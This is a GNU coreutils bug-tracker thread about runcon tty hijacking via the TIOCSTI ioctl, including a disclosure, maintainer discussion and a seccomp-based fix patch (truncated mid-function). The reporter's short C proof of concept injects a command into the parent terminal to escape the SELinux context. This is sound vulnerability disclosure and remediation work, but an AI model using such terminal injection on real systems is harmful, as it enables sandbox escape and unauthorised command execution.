bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Kamil Dudka]

On Monday, August 28, 2017 11:51:12 AM CEST Pádraig Brady wrote:
> On 29/09/16 08:15, Bernhard Voelker wrote:
> > On 09/26/2016 05:53 PM, Paul Eggert wrote:
> >>> "I don't think we need to fix this for runcon, as it isn't as
> >>> sandboxing tool like sandbox, and the loss of job control would likely
> >>> be much more noticeable for runcon."
> >> 
> >> Thanks, closing the debbugs bug report.
> > 
> > FWIW Karel just committed a workaround for su/runuser in util-linux
> > using libseccomp:
> > 
> > https://github.com/karelzak/util-linux/commit/8e492501

Note that the above mentioned commit was reverted long time ago:

https://github.com/karelzak/util-linux/commit/23f75093

Kamil

> I think this issue is worth addressing with libseccomp.
> That lib is a widely used dependency on SELinux systems
> so not a significant dependency to add.
> The attached uses libseccomp if available,
> and falls back to using setsid() in the edge cases where not.
> 
> cheers,
> Pádraig

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Pádraig Brady]

On 29/09/16 08:15, Bernhard Voelker wrote:
> On 09/26/2016 05:53 PM, Paul Eggert wrote:
>>> "I don't think we need to fix this for runcon, as it isn't as
>>> sandboxing tool like sandbox, and the loss of job control would likely
>>> be much more noticeable for runcon."
>>
>> Thanks, closing the debbugs bug report.
> 
> FWIW Karel just committed a workaround for su/runuser in util-linux
> using libseccomp:
> 
> https://github.com/karelzak/util-linux/commit/8e492501

I think this issue is worth addressing with libseccomp.
That lib is a widely used dependency on SELinux systems
so not a significant dependency to add.
The attached uses libseccomp if available,
and falls back to using setsid() in the edge cases where not.

cheers,
Pádraig
From d2ad8ae5c56330f46fe891346025e1e0164372e3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?P=C3=A1draig=20Brady?= 
Date: Mon, 28 Aug 2017 01:57:54 -0700
Subject: [PATCH] runcon: disable use of the TIOCSTI ioctl

Similar to the issue with SELinux sandbox (CVE-2016-7545),
children of runcon can inject arbitrary input to the terminal
that would be run at the originating terminal privileges.

The new libseccomp dependency is widely available and used
on modern SELinux systems, but is not available by default
on older systems like RHEL6 etc.

* m4/jm-macros.m4: Check for libseccomp and
warn if unavailable on selinux supporting systems.
* src/local.mk: Link runcon with -lseccomp.
* src/runcon.c (disable_tty_inject): A new function to
disable use of the TIOCSTI using libseccomp, or with setsid()
where libseccomp is unavailable.
* tests/misc/runcon-no-inject.sh: A new test that uses
python to make the TIOCSTI call, and ensure that doesn't succeed.
* tests/local.mk: Reference the new test
* NEWS: Mention the fix.
Addresses http://bugs.gnu.org/24541
---
 NEWS   |  4 
 m4/jm-macros.m4| 13 +
 src/local.mk   |  1 +
 src/runcon.c   | 28 
 tests/local.mk |  1 +
 tests/misc/runcon-no-inject.sh | 31 +++
 6 files changed, 78 insertions(+)
 create mode 100755 tests/misc/runcon-no-inject.sh

diff --git a/NEWS b/NEWS
index d37195e..0c744a8 100644
--- a/NEWS
+++ b/NEWS
@@ -68,6 +68,10 @@ GNU coreutils NEWS-*- outline -*-
   non regular files are specified, as inotify is ineffective with these.
   [bug introduced with inotify support added in coreutils-7.5]
 
+  runcon now disables use of the TIOCSTI ioctl in its children, which could
+  be used to inject commands to the terminal and run at the original context.
+  [the bug dates back to the initial implementation]
+
   uptime no longer outputs the AM/PM component of the current time,
   as that's inconsistent with the 24 hour time format used.
   [bug introduced in coreutils-7.0]
diff --git a/m4/jm-macros.m4 b/m4/jm-macros.m4
index ef915bd..de0657b 100644
--- a/m4/jm-macros.m4
+++ b/m4/jm-macros.m4
@@ -63,6 +63,19 @@ AC_DEFUN([coreutils_MACROS],
 esac
   fi
 ])
+
+# Used by runcon.c
+LIB_SECCOMP=
+AC_SUBST([LIB_SECCOMP])
+if test "$with_selinux" != no; then
+  AC_SEARCH_LIBS([seccomp_init], [seccomp],
+[test "$ac_cv_search_seccomp_init" = "none required" ||
+  LIB_SECCOMP=$ac_cv_search_seccomp_init
+ AC_DEFINE([HAVE_SECCOMP], [1], [libseccomp usability])],
+[test "$ac_cv_header_selinux_selinux_h" = yes &&
+ AC_MSG_WARN([libseccomp library was not found or not usable])
+ AC_MSG_WARN([runcon will be vulnerable to tty injection])])
+fi
   LIBS=$coreutils_saved_libs
 
   # Used by sort.c.
diff --git a/src/local.mk b/src/local.mk
index 1cb6859..9275b1f 100644
--- a/src/local.mk
+++ b/src/local.mk
@@ -243,6 +243,7 @@ src_mkfifo_LDADD += $(LIB_SMACK)
 src_mknod_LDADD += $(LIB_SELINUX)
 src_mknod_LDADD += $(LIB_SMACK)
 src_runcon_LDADD += $(LIB_SELINUX)
+src_runcon_LDADD += $(LIB_SECCOMP)
 src_stat_LDADD += $(LIB_SELINUX)
 
 # for nvlist_lookup_uint64_array
diff --git a/src/runcon.c b/src/runcon.c
index 92f519d..611b788 100644
--- a/src/runcon.c
+++ b/src/runcon.c
@@ -45,6 +45,10 @@
 #include 
 #include 
 #include 
+#ifdef HAVE_SECCOMP
+# include 
+# include 
+#endif
 #include 
 #include "system.h"
 #include "die.h"
@@ -102,6 +106,28 @@ With neither CONTEXT nor COMMAND, print the current security context.\n\
   exit (status);
 }
 
+static void
+disable_tty_inject (void)
+{
+#ifdef HAVE_SECCOMP
+  scmp_filter_ctx ctx = seccomp_init (SCMP_ACT_ALLOW);
+  if (! ctx)
+die (EXIT_FAILURE, 0, _("failed to initialize seccomp context"));
+  if (seccomp_rule_add (ctx, SCMP_ACT_ERRNO (EPERM), SCMP_SYS (ioctl), 1,
+SCMP_A1 (SCMP_CMP_EQ, (int) TIOCSTI)) < 0)
+die (EXIT_FAILURE, 0, _("failed to add seccomp rule"));
+  if (seccomp_load (ctx) < 0)
+die (EXIT_FAILURE, 0, _("failed to load seccomp rule"));
+  seccomp_release (ctx);
+#else
+  

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Bernhard Voelker]

On 09/26/2016 05:53 PM, Paul Eggert wrote:
>> "I don't think we need to fix this for runcon, as it isn't as
>> sandboxing tool like sandbox, and the loss of job control would likely
>> be much more noticeable for runcon."
> 
> Thanks, closing the debbugs bug report.

FWIW Karel just committed a workaround for su/runuser in util-linux
using libseccomp:

https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2

Have a nice day,
Berny

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Paul Eggert]

"I don't think we need to fix this for runcon, as it isn't as
sandboxing tool like sandbox, and the loss of job control would likely
be much more noticeable for runcon."


Thanks, closing the debbugs bug report.

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[up201407890]

Quoting "Paul Eggert" :

Hello,

I set the bug report here before I got a response from Paul Moore
https://marc.info/?l=selinux=147481004710264=2

"I don't think we need to fix this for runcon, as it isn't as
sandboxing tool like sandbox, and the loss of job control would likely
be much more noticeable for runcon."



up201407...@alunos.dcc.fc.up.pt wrote re :

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.


Thanks for the bug report. Surely this is a bug in the setexeccon  
system call, not in the runcon command that uses the system call.  
That being said, perhaps runcon should work around the bug via  
something like the attached patch.







This message was sent using IMP, the Internet Messaging Program.

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Pádraig Brady]

On 25/09/16 12:39, up201407...@alunos.dcc.fc.up.pt wrote:
> When executing a program via the runcon utility, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> execute arbitrary commands without the SELinux security context.
> 
> $ cat test.c
> #include 
> #include 
> 
> int main()
> {
>char *cmd = "id\n";
>while(*cmd)
> ioctl(0, TIOCSTI, cmd++);
>execlp("/bin/id", "id", NULL);
> }
> $ gcc test.c -o test
> $ runcon -t sandbox_t ./test
> id
> uid=1000 gid=1000 groups=1000  
> context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
> $ id   <--- did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
> https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

There are side effects to that though like not being able to background tasks 
etc.?

There collection of links on the issue at https://bugs.debian.org/816320

If setsid was an option, one could use `runcon ... setsid the_command`
though that would be less secure operation by default.

The same issue impacts chroot(1) somewhat also.

I'm not sure of the best fix here.

Pádraig

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Pádraig Brady]

On 25/09/16 12:39, up201407...@alunos.dcc.fc.up.pt wrote:
> When executing a program via the runcon utility, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> execute arbitrary commands without the SELinux security context.
> 
> $ cat test.c
> #include 
> #include 
> 
> int main()
> {
>char *cmd = "id\n";
>while(*cmd)
> ioctl(0, TIOCSTI, cmd++);
>execlp("/bin/id", "id", NULL);
> }
> $ gcc test.c -o test
> $ runcon -t sandbox_t ./test
> id
> uid=1000 gid=1000 groups=1000  
> context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
> $ id   <--- did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
> https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

There are side effects to that though like not being able to background tasks 
etc.?

There collection of links on the issue at https://bugs.debian.org/816320

If setsid was an option, one could use `runcon ... setsid the_command`
though that would be less secure operation by default.

The same issue impacts chroot(1) somewhat also.

I'm not sure of the best fix here.

thanks,
Pádraig

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[Paul Eggert]

up201407...@alunos.dcc.fc.up.pt wrote re :

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.


Thanks for the bug report. Surely this is a bug in the setexeccon system call, 
not in the runcon command that uses the system call. That being said, perhaps 
runcon should work around the bug via something like the attached patch.
diff --git a/src/runcon.c b/src/runcon.c
index b25db04..52b0b36 100644
--- a/src/runcon.c
+++ b/src/runcon.c
@@ -249,6 +249,11 @@ main (int argc, char **argv)
 error (EXIT_FAILURE, errno, _("invalid context: %s"),
quote (context_str (con)));
 
+  /* Prevent the sandboxed process from using the TIOCSTI ioctl to
+ push characters into the controlling terminal's input buffer.  */
+  if (setsid () != 0)
+error (EXIT_FAILURE, errno, _("cannot create session"));
+
   if (setexeccon (context_str (con)) != 0)
 error (EXIT_FAILURE, errno, _("unable to set security context %s"),
quote (context_str (con)));

bug#24541: runcon tty hijacking via TIOCSTI ioctl

[up201407890]

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.

$ cat test.c
#include 
#include 

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ runcon -t sandbox_t ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023

$ id   <--- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Thanks,
Federico Bento.


This message was sent using IMP, the Internet Messaging Program.